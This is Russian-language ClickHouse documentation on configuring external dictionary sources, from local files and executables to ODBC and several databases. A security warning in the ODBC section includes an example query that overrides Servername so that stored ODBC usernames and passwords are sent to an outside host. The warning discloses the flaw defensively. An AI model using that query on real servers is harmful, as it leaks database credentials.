# Источники внешних словарей {#dicts-external_dicts_dict_sources} Внешний словарь можно подключить из множества источников. Общий вид конфигурации: ```xml ... ... ... ``` Источник настраивается в разделе `source`. Типы источников (`source_type`): - [Локальный файл](#dicts-external_dicts_dict_sources-local_file) - [Исполняемый файл](#dicts-external_dicts_dict_sources-executable) - [HTTP(s)](#dicts-external_dicts_dict_sources-http) - СУБД: - [ODBC](#dicts-external_dicts_dict_sources-odbc) - [MySQL](#dicts-external_dicts_dict_sources-mysql) - [ClickHouse](#dicts-external_dicts_dict_sources-clickhouse) - [MongoDB](#dicts-external_dicts_dict_sources-mongodb) - [Redis](#dicts-external_dicts_dict_sources-redis) ## Локальный файл {#dicts-external_dicts_dict_sources-local_file} Пример настройки: ```xml /opt/dictionaries/os.tsv TabSeparated ``` Поля настройки: - `path` - Абсолютный путь к файлу. - `format` - Формат файла. Поддерживаются все форматы, описанные в разделе "[Форматы](../../interfaces/formats.md#formats)". ## Исполняемый файл {#dicts-external_dicts_dict_sources-executable} Работа с исполняемым файлом зависит от [размещения словаря в памяти](external_dicts_dict_layout.md). Если тип размещения словаря `cache` и `complex_key_cache`, то ClickHouse запрашивает необходимые ключи, отправляя запрос в `STDIN` исполняемого файла. Пример настройки: ```xml cat /opt/dictionaries/os.tsv TabSeparated ``` Поля настройки: - `command` - Абсолютный путь к исполняемому файлу или имя файла (если каталог программы прописан в `PATH`). - `format` - Формат файла. Поддерживаются все форматы, описанные в разделе "[Форматы](../../interfaces/formats.md#formats)". ## HTTP(s) {#dicts-external_dicts_dict_sources-http} Работа с HTTP(s) сервером зависит от [размещения словаря в памяти](external_dicts_dict_layout.md). Если тип размещения словаря `cache` и `complex_key_cache`, то ClickHouse запрашивает необходимые ключи, отправляя запрос методом `POST`. Пример настройки: ```xml http://[::1]/os.tsv TabSeparated ``` Чтобы ClickHouse смог обратиться к HTTPS-ресурсу, необходимо [настроить openSSL](../../operations/server_settings/settings.md) в конфигурации сервера. Поля настройки: - `url` - URL источника. - `format` - Формат файла. Поддерживаются все форматы, описанные в разделе "[Форматы](../../interfaces/formats.md#formats)". ## ODBC {#dicts-external_dicts_dict_sources-odbc} Этим способом можно подключить любую базу данных, имеющую ODBC драйвер. Пример настройки: ```xml DatabaseName ShemaName.TableName
DSN=some_parameters SQL_QUERY
``` Поля настройки: - `db` - имя базы данных. Не указывать, если имя базы задано в параметрах. ``. - `table` - имя таблицы и схемы, если она есть. - `connection_string` - строка соединения. - `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md). ClickHouse получает от ODBC-драйвера информацию о квотировании и квотирует настройки в запросах к драйверу, поэтому имя таблицы нужно указывать в соответствии с регистром имени таблицы в базе данных. Если у вас есть проблемы с кодировками при использовании Oracle, ознакомьтесь с соответствующим разделом [FAQ](../../faq/general.md#oracle-odbc-encodings). ### Выявленная уязвимость в функционировании ODBC словарей !!! attention При соединении с базой данных через ODBC можно заменить параметр соединения `Servername`. В этом случае, значения `USERNAME` и `PASSWORD` из `odbc.ini` отправляются на удаленный сервер и могут быть скомпрометированы. **Пример небезопасного использования** Сконфигурируем unixODBC для работы с PostgreSQL. Содержимое `/etc/odbc.ini`: ```text [gregtest] Driver = /usr/lib/psqlodbca.so Servername = localhost PORT = 5432 DATABASE = test_db #OPTION = 3 USERNAME = test PASSWORD = test ``` Если выполнить запрос вида: ```sql SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db'); ``` то ODBC драйвер отправит значения `USERNAME` и `PASSWORD` из `odbc.ini` на `some-server.com`. ### Пример подключения PostgreSQL ОС Ubuntu. Установка unixODBC и ODBC-драйвера для PostgreSQL: : ```bash $ sudo apt-get install -y unixodbc odbcinst odbc-postgresql ``` Настройка `/etc/odbc.ini` (или `~/.odbc.ini`): ```text [DEFAULT] Driver = myconnection [myconnection] Description = PostgreSQL connection to my_db Driver = PostgreSQL Unicode Database = my_db Servername = 127.0.0.1 UserName = username Password = password Port = 5432 Protocol = 9.3 ReadOnly = No RowVersioning = No ShowSystemTables = No ConnSettings = ``` Конфигурация словаря в ClickHouse: ```xml table_name DSN=myconnection postgresql_table
300 360 id some_column UInt64 0
``` Может понадобиться в `odbc.ini` указать полный путь до библиотеки с драйвером `DRIVER=/usr/local/lib/psqlodbcw.so`. ### Пример подключения MS SQL Server ОС Ubuntu. Установка драйвера: : ```bash $ sudo apt-get install tdsodbc freetds-bin sqsh ``` Настройка драйвера: : ```bash $ cat /etc/freetds/freetds.conf ... [MSSQL] host = 192.168.56.101 port = 1433 tds version = 7.0 client charset = UTF-8 $ cat /etc/odbcinst.ini ... [FreeTDS] Description = FreeTDS Driver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so Setup = /usr/lib/x86_64-linux-gnu/odbc/libtdsS.so FileUsage = 1 UsageCount = 5 $ cat ~/.odbc.ini ... [MSSQL] Description = FreeTDS Driver = FreeTDS Servername = MSSQL Database = test UID = test PWD = test Port = 1433 ``` Настройка словаря в ClickHouse: ```xml test dict
DSN=MSSQL;UID=test;PWD=test
300 360 k s String
``` ## СУБД ### MySQL {#dicts-external_dicts_dict_sources-mysql} Пример настройки: ```xml 3306 clickhouse qwerty example01-1 1 example01-2 1 db_name table_name
id=10 SQL_QUERY
``` Поля настройки: - `port` - порт сервера MySQL. Можно указать для всех реплик или для каждой в отдельности (внутри ``). - `user` - имя пользователя MySQL. Можно указать для всех реплик или для каждой в отдельности (внутри ``). - `password` - пароль пользователя MySQL. Можно указать для всех реплик или для каждой в отдельности (внутри ``). - `replica` - блок конфигурации реплики. Блоков может быть несколько. - `replica/host` - хост MySQL. \* `replica/priority` - приоритет реплики. При попытке соединения ClickHouse обходит реплики в соответствии с приоритетом. Чем меньше цифра, тем выше приоритет. - `db` - имя базы данных. - `table` - имя таблицы. - `where` - условие выбора. Необязательный параметр. - `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md). MySQL можно подключить на локальном хосте через сокеты, для этого необходимо задать `host` и `socket`. Пример настройки: ```xml localhost /path/to/socket/file.sock clickhouse qwerty db_name table_name
id=10 SQL_QUERY
``` ### ClickHouse {#dicts-external_dicts_dict_sources-clickhouse} Пример настройки: ```xml example01-01-1 9000 default default ids
id=10
``` Поля настройки: - `host` - хост ClickHouse. Если host локальный, то запрос выполняется без сетевого взаимодействия. Чтобы повысить отказоустойчивость решения, можно создать таблицу типа [Distributed](../../operations/table_engines/distributed.md) и прописать её в дальнейших настройках. - `port` - порт сервера ClickHouse. - `user` - имя пользователя ClickHouse. - `password` - пароль пользователя ClickHouse. - `db` - имя базы данных. - `table` - имя таблицы. - `where` - условие выбора. Может отсутствовать. - `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md). ### MongoDB {#dicts-external_dicts_dict_sources-mongodb} Пример настройки: ```xml localhost 27017 test dictionary_source ``` Поля настройки: - `host` - хост MongoDB. - `port` - порт сервера MongoDB. - `user` - имя пользователя MongoDB. - `password` - пароль пользователя MongoDB. - `db` - имя базы данных. - `collection` - имя коллекции. ### Redis {#dicts-external_dicts_dict_sources-redis} Пример настройки: ```xml localhost 6379 simple 0 ``` Поля настройки: - `host` – хост Redis. - `port` – порт сервера Redis. - `storage_type` – способ хранения ключей. Необходимо использовать `simple` для источников с одним столбцом ключей, `hash_map` -- для источников с двумя столбцами ключей. Источники с более, чем двумя столбцами ключей, не поддерживаются. Может отсутствовать, значение по умолчанию `simple`. - `db_index` – номер базы данных. Может отсутствовать, значение по умолчанию 0. [Оригинальная статья](https://clickhouse.yandex/docs/ru/query_language/dicts/external_dicts_dict_sources/)